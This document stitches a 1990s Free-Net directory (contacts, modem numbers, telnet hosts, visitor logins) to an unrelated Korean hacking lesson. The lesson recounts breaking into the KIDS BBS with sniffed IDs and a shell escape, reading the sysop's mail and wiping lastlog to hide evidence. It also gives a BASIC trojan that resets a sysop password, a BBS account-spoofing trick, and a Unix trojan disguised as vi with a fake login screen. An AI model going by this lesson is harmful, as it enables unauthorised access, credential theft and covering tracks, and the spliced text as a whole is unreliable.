                  e-mail: sndview@netcom.com

            Silicon Valley Public Access Link - San Jose
               Marc Siegel
                  voice: 415-968-2598
                  e-mail: msiegel@svpal.org

            Santa Barbara RAIN - Santa Barbara
               Timothy Tyndall
                  voice: 805-967-7246
                  e-mail: rain@rain.org

         RIN
            Redwood Free-Net - Ukiah
               Pat Hunt
                  voice: 707-463-4154
                  e-mail: pat@pacific.net


   COLORADO
      Affiliates
         Free-Net
            Denver Free-Net - Denver
               Drew Mirque
                  voice: 303-270-4300
                  e-mail: drew@freenet.hsc.colorado.edu
               Modem: 303-270-4865
               Telnet: freenet.hsc.colorado.edu
                  Visitor login: guest


   CONNECTICUT
      Organizing Committees
         Free-Net
            Danbury Area Free-Net - Danbury
               Diane Greenwald
                  voice: 203-797-4512
                  e-mail: waldgreen@bix.com

            CPBI - Free-Net - Hartford
               Alfred Steel
                  voice: 203-278-5310  ext 1230
                  e-mail: steela@csusys.ctstateu.edu


   FLORIDA
      Affiliates
         Free-Net
            SEFLIN Free-Net - Broward County
               Elizabeth Curry
                  voice: 305-357-7318
                  e-mail: currye@mail.seflin.lib.fl.us
               Modem: 305-765-4332
               Telnet: bcfreenet.seflin.lib.fl.us
                  Visitor login: visitor

            Alachua Free-Net - Gainesville
               Bruce Brashear
                  voice: 904-372-8401
                  e-mail: 76314.352@compuserve.com
               Modem: 904-334-0200
               Telnet: freenet.ufl.edu
                  Visitor login: visitor

            Tallahassee Free-Net - Tallahassee
               Hilbert Levitz
                  voice: 904-644-1796
                  e-mail: levitz@cs.fsu.edu
               Modem: 904-488-5056
               Telnet: freenet.fsu.edu
                  Visitor login: visitor

      Organizing Committees
         Free-Net
            Miami Free-Net - Miami
                            Elizabeth Curry
                  voice: 305-357-7318
                  e-mail: currye@mail.seflin.lib.fl.us

            Naples Free-Net - Naples
               Dr. Melody Hainsworth
                  voice: 1-800-466-8017
                  e-mail: hainswm@firnvx.firn.edu

            Orlando Free-Net - Orlando
               C.A. Benoit
                  voice: 407-833-9777
                  e-mail: bruce@goliath.pbac.edu

            Palm Beach Free-Net - Palm Beach
               Elizabeth Curry
                  voice: 305-357-7318
                  e-mail: currye@mail.seflin.lib.fl.us

            Sarasota-Manatee Area Free-Net - Sarasota
               Sally Webb
                  voice: 813-951-5502
                  e-mail:

            MCNet - Stuart
               Gretchen Hammerstein
                  voice: 407-221-1410
                  e-mail: hammerg@firnvx.firn.edu

            Suncoast Free-Net - Tampa Bay
               Marilyn Mulla
                  voice: 813-273-3714
                  e-mail: mullam@firnvx.firn.edu


   GEORGIA
      Affiliates
         RIN
            Worth County-Sylvester Ga. Free-Net - Sylvester
               Kent A. Guske
                  voice: 912-776-8625
                  e-mail: guske@freenet.fsu.edu
               Modem: 912-776-1255
               Telnet: <service not available>
                  Visitor login:

      Organizing Committees
         Free-Net
            404 Free-Net - Atlanta
               Mike Bernath
                  voice: 404-892-0943
                  e-mail: mike_bernath@solinet.net


   HAWAII
      Organizing Committees
         Free-Net
            The Aloha Free-Net Project - Honolulu
               Robert Mathews
                  voice: 808-533-3969
                  e-mail: mathews@gold.chem.hawaii.edu

            Maui Free-Net - Maui
               Donald Regalmuto
                  voice: 808-572-0510
                  e-mail: don.regal@tdp.org


   IDAHO
      Organizing Committees
         Free-Net
            Sandpoint Free-Net - Sandpoint
               Jason McMunn
                  voice: 208-263-6105
                  e-mail: mcmun911@crow.csru.uidaho.edu


   ILLINOIS
      Affiliates
         Free-Net
            Prairienet - Champaign-Urbana
               Ann P. Bishop
                  voice: 217-244-3299
                  e-mail: abishop@uiuc.edu
               Modem: 217-255-9000
               Telnet: prairienet.org   (192.17.3.3)
                  Visitor login: visitor

      Organizing Committees
         Free-Net
            Shawnee Free-Net - Carbondale
               Robert A. Pauls
                  voice: 618-549-1139
                  e-mail: ad592@freenet.hsc.colorado.edu

            SWIF-NET - Edgemont
               Gary A. Ulery
                  voice: 618-397-0968
                  e-mail: gulery@minuet.siue.edu


   INDIANA
      Organizing Committees
         Free-Net
            Michiana Free-Net Society - Granger
               Donald McLaughlin
                  voice: 219-282-1574
                  e-mail: dmclaugh@darwin.cc.nd.edu


   IOWA
      Organizing Committees
         Free-Net
            CedarNet - Cedar Falls
               Robert Muffoletto
                  voice: 319-273-6282
                  e-mail: muffoletto@uni.edu

            Iowa Knowledge Exchange - Des Moines
               Gary Barrett
                  voice: 515-242-3556
                  e-mail: garyb@ins.infonet.net

            Fairfield Free-Net - Fairfield
               Steve Terry
                  voice: 515-472-7494
                  e-mail: sterry@ins.infonet.net


   KENTUCKY
      Organizing Committees
         Free-Net
            Pennyrile Area Free-Net - Hopkinsville
               Mark Roseberry
                  voice: 502-886-2913
                  e-mail: mroseberry@delphi.com

            Owensboro Free-Net - Owensboro
               Donna Treubig
                  voice: 502-686-4530
                  e-mail: donna@ndlc.occ.uky.edu


   LOUISIANA
      Organizing Committees
         Free-Net
            Baton Rouge Area Interactive Network - Baton Rouge
               Ann McMahon
                  voice: 504-346-0707
                  e-mail: anniemac@acm.org

            Acadiana Free-Net - Lafayette
               Bob Brantingham
                  voice: 318-837-9374
                       e-mail: bobbrant@delphi.com

            Greater New Orleans Free-Net - New Orleans
               Gordon H. Mueller
                  voice: 504-286-7187
                  e-mail: nrrmc@uno.edu


   MAINE
      Organizing Committees
         Free-Net
            Maine Community Access Network- Freeport
               Elizabeth D. Frey
                  voice: 207-287-6615
                  e-mail: efrey@mmp.org


   MARYLAND
      Organizing Committees
         Free-Net
            Free State Free-Net - Baltimore
               Andree Duggan
                  voice: 410-313-9259
                  e-mail: aduggan@well.sf.ca.us

            Community Service Network - Easton
               David M. Boan, Ph.D.
                  voice: 410-822-4132
                  e-mail: david_boan@martha.washcoll.edu

            Garrett Communiversity Central - McHenry
               Donald Storck
                  voice: 301-387-3035
                  e-mail: 71072.2304@compuserve.com


   MASSACHUSETTS
      Affiliates
         Educational
            UMASSK12 - Amherst
               Morton Sternheim
                  voice: 413-545-1908
                  e-mail: mms@k12.ucs.umass.edu
               Modem: 413-572-5583 or 413-572-5268
               Telnet: k12.ucs.umass.edu
                  Visitor login: guest


   MICHIGAN
      Affiliates
         Free-Net
            Greater Detroit Free-Net - Detroit
               Paul Raine
                  voice: 810-574-8549
                  e-mail: info@detroit.freenet.org
               Modem: < service not available >
               Telnet: detroit.freenet.org
                  Visitor login: visitor

         Educational
            Education Central - Mount Pleasant
               Hal Crawley
                  voice: 517-774-3975
                  e-mail: 374cylb@cmuvm.csu.cmich.edu
               Modem: 517-774-3790
               Telnet: edcen.ehhs.cmich.edu
                  Visitor login: visitor

         RIN
            Almont Expression - Almont
               George Pratt
                  voice: 810-798-8150
                  e-mail: gpratt@expression.org
               Modem: 810-798-8290
               Telnet: < service not available >
                  Visitor login: Visitor (password: Visitor)

            Great Lakes Free-Net - Battle Creek
               Merritt W. Tumanis
                  voice: 616-961-4166
                  e-mail: merritt_tumanis@fc1.glfn.org
               Modem: 616-969-4536
               Telnet: <s ervice not available >
                  Visitor login: visitor

      Organizing Committees
         Free-Net
            Huron Valley Free-Net - Ann Arbor
               Michael Todd Glazier
                  voice: 313-662-8374
                  e-mail: michael.todd.glazier@umich.edu

            Genesee Free-Net - Flint
               David A. Cheslow
                  voice: 810-762-3309
                  e-mail: dcheslow@umich.edu

            Grand Rapids Free-Net - Grand Rapids
               Andrew Bass
                  voice: 616-459-6273
                  e-mail: andyb@bethany.org

            Macatawa Area Free-Net - Holland
               Richard Vander Broek
                  voice: 616-396-2303 x24
                  e-mail: ad469@leo.nmc.edu

            Capitol City Free-Net - Lansing
               Whitney M. Johnson
                  voice: 517-487-1516
                  e-mail: whit@jcn.com


   MINNESOTA
      Organizing Committees
         Free-Net
            Twin Cities Free-Net - Minneapolis
               Scott Fritchie
                  voice: 507-646-3407
                  e-mail: fritchie@stolaf.edu


            Northfield Free-Net - Northfield
               Andrea Christianson
                  voice: 507-645-9301
                  e-mail: andreacris@aol.com


   MISSISSIPPI
      Organizing Committees
         Free-Net
            Magnolia Free-Net - Jackson
               Tom Lowe
                  voice: 601-354-1027
                  e-mail: tlowe@ccaix.jsums.edu

            Meridian Area Free-Net - Meridian
                          Ric Rogers
                  voice: 601-482-2000
                  e-mail: ric4aardvark@delphi.com


   MISSOURI
      Affiliates
         Free-Net
            Columbia Online Information Network (COIN) - Columbia
               Elinor Barrett
                  voice: 314-443-3161 (ext. 350 for voice mail)
                  e-mail: ebarrett@bigcat.missouri.edu
               Modem: 314-884-7000
               Telnet: bigcat.missouri.edu
                  Visitor login: guest

            ORION - Springfield
               Annie Linnemeyer
                  voice: 417-837-5050  ext 15
                  e-mail: annie@ozarks.sgcl.lib.mo.us
               Modem: 417-864-6100
               Telnet: ozarks.sgcl.lib.mo.us
                  Visitor login: guest

      Organizing Committees
         Free-Net
            Show-Me Free-Net - Cape Girardeau
               Larry Loos
                  voice: 314-334-9322
                  e-mail: LLoos@delphi.com

            KC Free-Net - Kansas City
               James E. Osbourn
                  voice: 816-340-4228
                  e-mail: josbourn@tyrell.net


   MONTANA
      Affiliates
         Free-Net
            Big Sky Telegraph - Dillon
               Frank Odasz
                  voice: 406-683-7338
                  e-mail: franko@bigsky.dillon.mt.us
               Modem: 406-683-7680
               Telnet: 192.231.192.1
                  Visitor login: bbs


   NEBRASKA
      Organizing Committees
         Free-Net
            Omaha Free-Net - Omaha
               Howard Lowe
                  voice: 402-554-2516
                  e-mail: lowe@unomaha.edu


   NEVADA
      Organizing Committees
         Free-Net
            Las Vegas International Free-Net - Las Vegas
               Scott Susman
                  voice: 702-795-7267
                  e-mail: scott@gate.vegas.com


   NEW HAMPSHIRE
      Organizing Committees
         Free-Net
            The Granite State Oracle - Manchester
               Quentin Lewis
                  voice: 508-442-0279
                  e-mail: quentin.lewis@sun.com


   NEW MEXICO
      Organizing Committees
         Free-Net
            New Mexico Free-Net - Albuquerque
               Lewis R. Newby
                  voice: 505-277-8148
                  e-mail: lnewby@unm.edu

            Santa Fe Metaverse - Santa Fe
               John R. Grizz Deal
                  voice: 505-989-7117
                  e-mail: grizz@lanl.gov


   NEW YORK
      Affiliates
         Free-Net
            Buffalo Free-Net - Buffalo
               James Finamore
                  voice: 716-877-8800  ext 451
                  e-mail: finamore@ubvms.cc.buffalo.edu
               Modem: 716-645-3085
               Telnet: freenet.buffalo.edu
                  Visitor login: freeport

      Organizing Committees
         Free-Net
            Capital Region Information Service - Albany
               Norman D. Kurland
                  voice: 518-442-3728
                  e-mail: nkurland@albnyvms.bitnet

            CASSYnet - Corning
               Tom Gabriele
                  voice: 607-936-3713
                  e-mail: freenet@scccvb.corning-cc.edu

            Southern Tier Free-Net - Endicott
               Scott Cubic
                  voice: 607-752-1201
                  e-mail: cubicsr@vnet.ibm.com

            Rochester Free-Net - Rochester
               Jerry Seward
                  voice: 716-594-0943
                  e-mail: jerry@rochgte.fidonet.org


   NORTH CAROLINA
      Organizing Committees
         Free-Net
            Triangle Free-Net - Chapel Hill
               William R. Hutchins
                  voice: 919-968-4292
                  e-mail: hutch@tfnet.ils.unc.edu

            Charlotte's Web - Charlotte
               Stephen H. Snow
                  voice: 704-358-5245
                  e-mail: shsnow@vnet.net

            Forsyth County Free-Net - Winston-Salem
               John Annen
                  voice: 919-727-2597  ext 3023
                  e-mail: annen@ledger.mis.co.forsyth.nc.us


   NORTH DAKOTA
      Affiliates
         Educational
            SENDIT - Fargo
               Gleason Sackman
                  voice: 701-237-8109
                  e-mail: sackman@sendit.nodak.edu
               Modem: 701-237-3283
               Telnet: sendit.nodak.edu
                  Visitor lo     n: bbs (password: sendit2me)


   OHIO
      Affiliates
         Free-Net
            Tristate Online - Cincinnati
               Steve Shoemaker
                  voice: < not available >
                  e-mail: sshoe@tso.uc.edu
               Modem: 606-781-5575
               Telnet: tso.uc.edu
                  Visitor login: visitor

            Cleveland Free-Net - Cleveland
               Jeff Gumpf
                  voice: 216-368-2982
                  e-mail: jag@po.cwru.edu
               Modem: 216-368-3888
               Telnet: freenet-in-a.cwru.edu
                  Visitor login: Select #2 at first menu

            Greater Columbus Free-Net - Columbus
               Steven I. Gordon
                  voice: 614-292-4132
                  e-mail: sgordon@freenet.columbus.oh.us
               Modem: 614-292-7501
               Telnet: freenet.columbus.oh.us
                  Visitor login: guest

            Dayton Free-Net - Dayton
               Patricia Vendt
                  voice: 513-873-4035
                  e-mail: pvendt@desire.wright.edu
               Modem: 513-229-4373
               Telnet: 130.108.128.174
                  Visitor login: visitor

            Lorain County Free-Net - Elyria
               Thom Gould
                  voice: 1-800-227-7113  ext. 2451  or 216-277-2451
                  e-mail: aa003@freenet.lorain.oberlin.edu
               Modem: 216-366-9721
               Telnet: freenet.lorain.oberlin.edu
                  Visitor login: guest

            Youngstown Free-Net - Youngstown
               Lou Anschuetz
                  voice: 216-742-3075
                  e-mail: lou@yfn.ysu.edu
               Modem: 216-742-3072
               Telnet: yfn2.ysu.edu
                  Visitor login: visitor

         Educational
            SEORF - Athens
               Damien O. Bawn
                  voice: 614-662-3211
                  e-mail: bawn@oucsace.cs.ohiou.edu
               Modem: <service not available>
               Telnet: seorf.ohiou.edu
                  Visitor login: guest

            Learning Village Cleveland - Cleveland
               John Kurilec
                  voice: 216-247-5800
                  e-mail: jmk@nptn.org
               Modem: 216-247-6196
               Telnet: nptn.org
                  Visitor login: visitor

         RIN
            Medina County Free-Net - Medina
               Gary Linden - (Medina Gen. Hosp) Project Director
                  voice: 216-725-1000  ext 2550
                  e-mail: gfl@freenet.medina.edu
               Modem: 216-723-6732
               Telnet: <service not available>
                  Visitor login: visitor

      Organizing Committees
         Free-Net
            Akron Regional Free-Net - Akron
               Anne S. McFarland
                  voice: 216-972-6352
                  e-mail: r1asm@vm1.cc.uakron.edu

            Stark County Free-Net - Canton
               Maureen Kilcullen
                  voice: 216-499-9600  ext 322
                  e-mail: mkilcullen@ksuvxm.kent.edu

            Lima Free-Net - Lima
               Paul Monas
                  voice: 419-226-1218
                  e-mail: monus@clipo1.usachem.msnet.bp.com

            Toledo Free-Net - Toledo
               Rebecca Dent
                  voice: 419-537-3686
                  e-mail: rad@uoft02.utoledo.edu

         RIN
            Richland Free-Net - Mansfield
               Ed Rebmann
                  voice: 419-521-3111/3110
                  e-mail: earmrcpl@class.org


   OKLAHOMA
      Organizing Committees
         Free-Net
            Oklahoma Public Information Network - Oklahoma City
               David Drexler
                  voice: 405-947-8868
                  e-mail: fn-mail@okcforum.osrhe.edu

            Ponca City/Pioneer Free-Net - Ponca City
               Phil Abernathy
                  voice: 405-767-3461
                  e-mail: philber106@aol.com


   PENNSYLVANIA
      Organizing Committees
         Free-Net
            Lehigh Valley Free-Net - Bethlehem
               Timothy Lindgren
                  voice: 610-758-4998
                  e-mail: tpl2@lehigh.edu

            Erie County Free-Net
               Steven Landon
                        voice:
                  e-mail: srl115@psu.edu

            Pittsburgh Free-Net - Pittsburgh
               Dan Iddings
                  voice: 412-622-6502
                  e-mail: iddings@clp2.clpgh.org

            Chester County Interlink - West Chester
               Jordan Seidel
                  voice: 215-430-6621
                  e-mail: jseidel@locke.ccil.org


   RHODE ISLAND
      Affiliates
         Free-Net
            Ocean State Free-Net - Providence
               Howard Boksenbaum
                  voice: 401-277-2726
                  e-mail: howardbm@dsl.rhilinet.gov
               Modem: 401-831-4640
               Telnet: 192.207.24.10
                  Visitor login: <service not available>


   SOUTH CAROLINA
      Organizing Committees
         Free-Net
            MidNet - Columbia
               Stephen Bajjaly
                  voice: 803-777-4825
                  e-mail: bajjaly@univscvm.csd.scarolina.edu

            Greenet - Greenville
               Thompson R. Cummins
                  voice: 803-242-5000  ext 231
                  e-mail: sgr002@sol1.solinet.net

            GreenCo-NET - Greenwood
               Kim Madden
                  voice: 803-223-8431
                  e-mail: oukmddn@cluster1.clemson.edu


   TENNESSEE
      Affiliates
         Free-Net
            Jackson Area Free-Net - Jackson
               Donald Lewis
                  voice: 901-425-2640
                  e-mail: dlewis@jscc.cc.tn.us
               Telnet: 198.146.108.99
               Modem: 901-427-4435
                  Visitor login: guest

      Organizing Committees
         Free-Net
            Greater Knoxville Community Network - Knoxville
               Greg Cole
                  voice: 615-974-2908
                  e-mail: gcole@solar.rtd.utk.edu


   TEXAS
      Affiliates
         Free-Net
            Rio Grande Free-Net - El Paso
               Don Furth
                  voice: 915-775-6077
                  e-mail: donf@laguna.epcc.edu
               Modem: 915-775-5600
               Telnet: rgfn.epcc.edu
                  Visitor login: visitor

      Organizing Committees
         Free-Net
            Big Country Free-Net - Abilene
               J. David Bavousett
                  voice: 915-674-6964
                  e-mail: davidb@alcon.acu.edu

            Austin Free-Net - Austin
               Jeff Evans
                  voice: 512-288-5691
                  e-mail: jeff_evans@capmac.org

            North Texas Free-Net - Dallas
               Ken Loss-Cutler
                  voice: 214-320-8915
                  e-mail: kenlc@tenet.edu

            Tarrant County Free-Net - Fort Worth
               Joseph Coles
                  voice: 817-763-8437
                  e-mail: jcoles@pubcon.com

            Houston Civnet - Houston
               Paul Hutmacher
                  voice: 713-869-0521
                  e-mail: paul@sugar.neosoft.com

            West Texas Free-Net - San Angelo
               Timothy R. Elwell
                  voice: 915-655-7161
                  e-mail: timelwell@delphi.com

            San Antonio Free-Net - San Antonio
               Michael S. Lotas
                  voice: 210-561-9815
                  e-mail: mlotas@espsun.space.swri.edu


   VERMONT
      Organizing Committees
         Free-Net
            Lamoille Net - Morrisville
               Balu Raman
                  voice: 802-888-2606
                  e-mail: braman@world.std.com


   VIRGINIA
      Affiliates
         Free-Net
            Central Virginia's Free-Net - Richmond
               Kenneth Guyre
                  voice: 804-828-6650
                  e-mail: kguyre@cabell.vcu.edu
               Modem: < service not available >
               Telnet: freenet.vcu.edu
                  Visitor login: visitor

         Educational
            VaPEN - Richmond
               Dr. Harold Cothern
                  voice: 804-225-2921
                  e-mail: hcothern@vdoe386.vak12ed.edu
               Modem: < service not available >
               Telnet: vdoe386.vak12ed.edu
                  Visitor login:

      Organizing Committees
         Free-Net
            SEVANET -                wport News
               Bill Winter
                  voice: 804-594-7092
                  e-mail: bwinter@powhatan.cc.cnu.edu

            Blue Ridge Free-Net - Roanoke
               Cynthia Obrist
                  voice: 703-981-1424
                  e-mail: obrist@leo.vsla.edu


   WASHINGTON
      Affiliates
         Free-Net
            Seattle Community Network - Seattle
               Randy Groves
                  voice:  206-865-3424
                  e-mail: randy@cpsr.org
               Modem: 206-386-4140
               Telnet: scn.org
                  Visitor login: visitor

            Tri-Cities Free-Net - Tri-Cities
               Bruce McComb
                  voice: 509-586-6481
                  e-mail: tcfn@delphi.com
               Modem: 509-375-1111
               Telnet: <service not available>
                  Visitor login:

      Organizing Committees
         Free-Net
            Kitsap Free-Net - Bremerton
               Michael Schuyler
                  voice: 206-377-7601
                  e-mail: michael@kitsap.lib.wa.us

            Olympic Public Electronic Network (OPEN) - Port Angeles
               Larry Haas
                  voice: 206-417-9302
                  e-mail: lhaas@aol.com

            Inland Northwest Community Network - Spokane
               Dr. Karen L. Michaelson
                  voice: 509-359-6567
                  e-mail: kmichaelson@ewu.edu

            Clark County Free-Net - Vancouver
               Thomas E. Ryan
                  voice: 206-696-6846
                  e-mail: tryan@netcom.com


   WISCONSIN
      Organizing Committees
         Free-Net
            Chippewa Valley Free-Net - Eau Claire
               Steve Marquardt
                  voice: 715-836-3715
                  e-mail: smarquar@uwec.edu



AUSTRALIA
   VICTORIA
      Organizing Committees
         Free-Net
            Melbourne Free-Net - Melbourne
               Peter Bancroft
                  voice: +61 3-652-0656
                  e-mail: pbancroft@ozonline.com.au


CANADA
   ALBERTA
      Organizing Committees
         Free-Net
            Calgary Free-Net - Calgary
               David Elton
                  voice: 403-264-9535
                  e-mail: delton@acs.ucalgary.ca

            Edmonton Free-Net - Edmonton
               Penny McKee
                  voice: 403-423-2331
                  e-mail: adavis2@vm.ucs.ualberta.ca

            Praxis Free-Net - Medicine Hat
               Lawrence Chen
                  voice: 403-529-2162
                  e-mail: dreamer@lhaven.uumh.ab.ca


   BRITISH COLUMBIA
      Affiliates
         Free-Net
            CIAO! Free-Net - Trail
               Ken McClean
                  voice: 604-368-2233
                  e-mail: kmcclean@ciao.trail.bc.ca
               Modem: 604-368-5764
               Telnet: 142.231.5.1
                  Visitor login: guest

            Victoria Free-Net - Victoria
               Gareth Shearman
                  voice: 604-385-4302
                  e-mail: shearman@freenet.victoria.bc.ca
               Modem: 604-595-2300
               Telnet: freenet.victoria.bc.ca
                  Visitor login: guest

      Organizing Committees
         Free-Net
            Campbell River Free-Net - Campbell River
               Pat Presidente
                  voice:
                  e-mail: ppreside@cln.etc.bc.ca

            Prince George Free-Net - Prince George
               Lynda J. Williams
                  voice: 604-562-2131 loc 296
                  e-mail: williams@cnc.bc.ca

            Vancouver Free-Net - Vancouver
               Brian Campbell
                  voice: 604-665-3579
                  e-mail: briancam@vpl.vancouver.bc.ca


   MANITOBA
      Organizing Committees
         Free-Net
            Eastmanet - Pinawa
               Doug Gehon
                  voice: 204-753-2311  ext 2442
                  e-mail: gehond@wl.aecl.ca

            SEARDEN Free-Net - Sprague
               Larry Geller
                  voice: 204-437-2016
                  e-mail: larry_geller@mbnet.mb.ca

            Blue Sky Free-Net Of Manitoba - Winnipeg
               Betty Dearth
                  voice: 204     45-1413
                  e-mail: bdearth@gateway.eitc.mb.ca


   NEW BRUNSWICK
      Organizing Committees
         Free-Net
            York Sunbury Community Server - Fredericton
               Michael MacDonald
                  voice: 506-453-4566
                  e-mail: mikemac@unb.ca


   NEWFOUNDLAND
      Organizing Committees
         Free-Net
            St. John's Free-Net - St. John's
               Randy Dodge
                  voice: 709-737-4594
                  e-mail: randy@kean.ucs.mun.ca


   NOVA SCOTIA
      Organizing Committees
         Free-Net
            Cape Breton Free-Net - Cape Breton
               Dan McMullin
                  voice: 902-862-6432
                  e-mail: dmacmull@fox.nstn.ns.ca

            Chebucto Free-Net - Halifax
               Ellen L. Sherlock
                  voice: 902-425-2061
                  e-mail: els@cs.dal.ca


   ONTARIO
      Affiliates
         Free-Net
            National Capital Free-Net - Ottawa
               David Sutherland
                  voice: 613-788-2600  ext 3701
                  e-mail: aa001@freenet.carleton.ca
               Modem: 613-564-3600
               Telnet: freenet.carleton.ca
                  Visitor login: guest

      Organizing Committees
         Free-Net
            North Shore Free-Net - Elliot Lake
               Alan Wilson
                  voice: 705-848-5106
                  e-mail: alanwils%vef@canrem.com

            Durham Free-Net - Oshawa
               John Norman
                  voice: 905-668-3390
                  e-mail: john.norman@freenet.durham.org

            Niagara Free-Net - St. Catharines
               Jon Radue
                  voice: 416-688-5550  ext 3867
                  e-mail: jradue@sandcastle.cosc.brocku.ca

            Sudbury Regional Free-Net - Sudbury
               J. Steve Beynon
                  voice: 705-675-1151  ext. 2202
                  e-mail: steve@nickel.laurentian.ca

            Thunder Bay Free-Net - Thunder Bay
               Don Watson
                  voice: 807-343-8354
                  e-mail: dwatson@flash.lakeheadu.ca

            Toronto Free-Net - Toronto
               Laine G.M. Ruus
                  voice: 416-978-5365
                  e-mail: laine@vm.utcc.utoronto.ca


   QUEBEC
      Organizing Committees
         Free-Net
            Free-Net du Montreal Metropolitain - Montreal
               Steven Sacks
                  voice: 514-278-9173
                  e-mail: ssacks@cam.org


   SASKATCHEWAN
      Organizing Committees
         Free-Net
            Great Plains Free-Net - Regina
               Robert Greenfield
                  voice: 306-584-9615
                  e-mail: rhg@unibase.unibase.sk.ca

            Saskatoon Free-Net - Saskatoon
               Peter Scott
                  voice: 306-966-5920
                  e-mail: scottp@herald.usask.ca


FINLAND
      Affiliates
         Educational
            Finland Free-Net - Helsinki
               Heikki Korpinen
                  voice: +358-0-451-4007
                  e-mail: korpinen@freenet.hut.fi
               Modem: 358-929292
               Telnet: 130.233.208.40
                  Visitor login: visitor


GERMANY
      Affiliates
         Free-Net
            Free-Net Erlangen-Nuernburg - Erlangen
               Dr. Walter F. Kugemann
                  voice: +49-9131-85-4735
                  e-mail: Walter.Kugemann@fim.uni-erlangen.de
               Modem: +49-9131-85-8111
               Telnet: 131.188.192.11
                  Visitor login: gast

      Organizing Committees
         Free-Net
            Free-Net Bayreuth - Bayreuth
               Wolfgang Kiessling
                  voice: 0921/553134
                  e-mail: Wolfgang.Kiessling@Uni-Bayreuth.de


IRELAND
      Organizing Committees
         Free-Net
            Connect-Ireland - Dublin
               Martin Maguire
                  voice: 6711687 (+353-1)
                  e-mail: director@toppsi.gn.apc.org


ITALY
      Organizing Committees
         Free-Net
            Venice Free-Net - V                ce
               Corrado Petrucco
                  voice: 039-41-721900
                  e-mail: conrad@cidoc.iuav.unive.it


NEW ZEALAND
      Affiliates
         Free-Net
            Wellington Citynet - Wellington
               Richard Naylor
                  voice: +64-4-801-3303
                  e-mail: rich@tosh.wcc.govt.nz
               Modem: +64-4-801-3060
               Telnet: kosmos.wcc.govt.nz
                  Visitor login: <Service not available>


PHILIPPINES
      Organizing Committees
         Free-Net
            Philippine Public Telecomputing Network - Quezon City
               Rommel P. Feria
                  voice: 632-931-5314
                  e-mail: rferia@upd.edu.ph


SWEDEN
      Organizing Committees
         Free-Net
            Medborgarnas Datanat - Norrkoping
               Kjell-Ove Martinsson
                  voice: +46-11-150000
                  e-mail: kjm@norrk.pp.se


안녕하세요.
14번째 시간입니다.
유닉스/통신망 해킹에 대한 심화학습을 하겠습니다.

대개의 호스트는 유닉스를 사용합니다.
이때 핵심이랄지 할것이 바로 아이디 해킹일겁니다.
도스와 다른 유닉스의 특징이 바로 login 이죠.
자신의 아이디가 해킹 당했다면 큰일이죠.
그래서 패스워드를 어렵게 만드는 것이 중요합니다.
해커들이 해킹할때는 이 패스워드를 알아내거나 유닉스 시스템의 홀을 찾는
방법을 사용하는 것이죠.

다음 몇몇 호스트를 해킹하는 예를 들어보이겠습니다.

다음은 KIDS bbs를 해킹한 사례입니다.

kids의 도메인 어드레스는 kids.kotel.co.kr 이다.
우선 telnet 로 kids에 접속한다.
telnet도 하나의 접속 프로그램이라고 인터넷 강좌에서 이야기 하였다.
여기서 쓰는 telnet은 버그를 이용하여 접속한 것이다.
자신의 아이디로 접속하지 말고 패킷 가로채기를 이용한 다른 사람의 아이디를 사용한다.
kids는 라우팅 메뉴에 홀이 있다.
내무실행모드로 되어있는 메뉴를 /bin/sh 으로 대치하고는 셀로 빠진다.
셀등에 대해서는 앞에서 설명했을줄 안다.
그리고 kids 디렉토리인 /mam/kids/etc 로 이동한다.
패스워드 화일이 5개나 있어서 구분하지 못하고,
그대신 /kids/usr ->mail directory 로 들어가 퍼미션이 kids인것을 확인하고
센터 운영자 시솝의  편지를 읽을수 있다.
대부분 신상명세에 대한 것이다.
다읽고 증거 인멸을 위해 모두 삭제한후 접속 흔적을 지우기 위해
응용어플리케이션으로 lastlog를 지우고 나와야 한다.
이상입니다.

다음은 푸른물 핵킹법 입니다.
푸른물이란 호스트를 사용한 비비에스일 경우
운영자의 아이디있죠?
운영자의 아이디야 쉽게 알수 있습니다.
가입할때 운영자아이디+공백으로 하시면 운영자가 올린 게시물과 자료를
몽땅 지울수 있지요, 물론 다른사람아이디도 가능하고요.
이것은 예전에 케텔시절에 통했던 것인데 푸른물 호스트에서도 가능하더군요.
주변에 푸른물 호스트를 사용하는 비비에스가 있다면 한번 테스트 해보시죠.
이것이 바로 홀 이라고 할 수 있을겁니다.

다음은 호롱불 호스트 해킹법이죠.
일종의 트로이 목마 바이러스라 할수 있죠.
반드시 시삽이 실행할 수 있게끔 미끼를 던지시기 바랍니다.
이것은 시삽 암호를 AAAAAAAA로 바꾸는것이죠.


$COMPILE EXE
SHELL "DIR C:\USER.V35 /S >HOSTKILL.$$$"
OPEN "HOSTKILL.$$$" FOR INPUT AS #1
FOR BYTE=1 TO 5
        INPUT #1, DAT$
NEXT BYTE
CLOSE #1
KILL "HOSTKILL.$$$"
OPEN MID$(DAT$,14)+"\USER.V35" FOR BINARY AS #1
FOR BYTE=1 TO LOF(1)
    SEEK 1, BYTE
    GET$ 1, 5, DAT$
        IF DAT$="sysop" THEN EXIT FOR
NEXT BYTE
SEEK 1, BYTE+11
PUT$ 1, CHR$(&H41)
PUT$ 1, CHR$(&H41)
PUT$ 1, CHR$(&H41)
PUT$ 1, CHR$(&H41)
PUT$ 1, CHR$(&H41)
PUT$ 1, CHR$(&H41)
PUT$ 1, CHR$(&H41)

ENDPROG:
END


유닉스 해킹에서 root의 권한을 가진 패스워드를 알아낸다면 그 시스템은
이제 자신의 것이 될것이다.

누구나 어떤 SYSTEM의 사용하게 되면 ID 와 PASSWORD를 가지게 될 것입니다
보통 해커들은 일반사용자의 아이디를 root의 자격을 얻어내기위한 발판으로 사용한다.
그래서 만약 일이 터졌을때 의심을 받게되니 관리를 잘해야한다
앞에 kids를 해킹할때도 사용한 방법이지만 절대 자신의 개인 아이디로 접속해서 해킹할려는
멍청한 짓을 말기를.........
일단은 전혀 모르는 타인의 아이디를 해킹해야 합니다.
방법은 여러가지가 있겠는데,
친구 어깨너머로 훔쳐보는 방법을 쓰거나 무작정 패스워드를 맞출때까지 두드리는 법등이
있을것이다.
이것말고 스크립트 화일을 이용한다거나 나우누리에서 쪽지 기능을 이용한 트로이목마
의 형태도 가능하다.
유닉스에서 이러한 예를 보자면,
먼저 다른유저들이 자주 들락거리는 길목에 한개의 작은 화일을 만들어둔다.
이는 스크립트 화일로써 사용자가 자주쓰는 vi,sed,..등의 프로그램명과 동일하게 만든다.
이렇게 하면 다른 사용자가 이 길목에서 vi를 무심코 실행하면 그 사용자의 의도와는
달리 처음 프로그램탐색 path인 현 디렉토리의 트로이 목마 스크립트 화일이 실행이 되는것이다.
마치 배치로 짠 트로이 목마와 유사한 것이다.
일반적으로 많이 사용되는것들이 화일을 지우고,
"login :"화면을 그럴듯하게 보여주는 것이다.
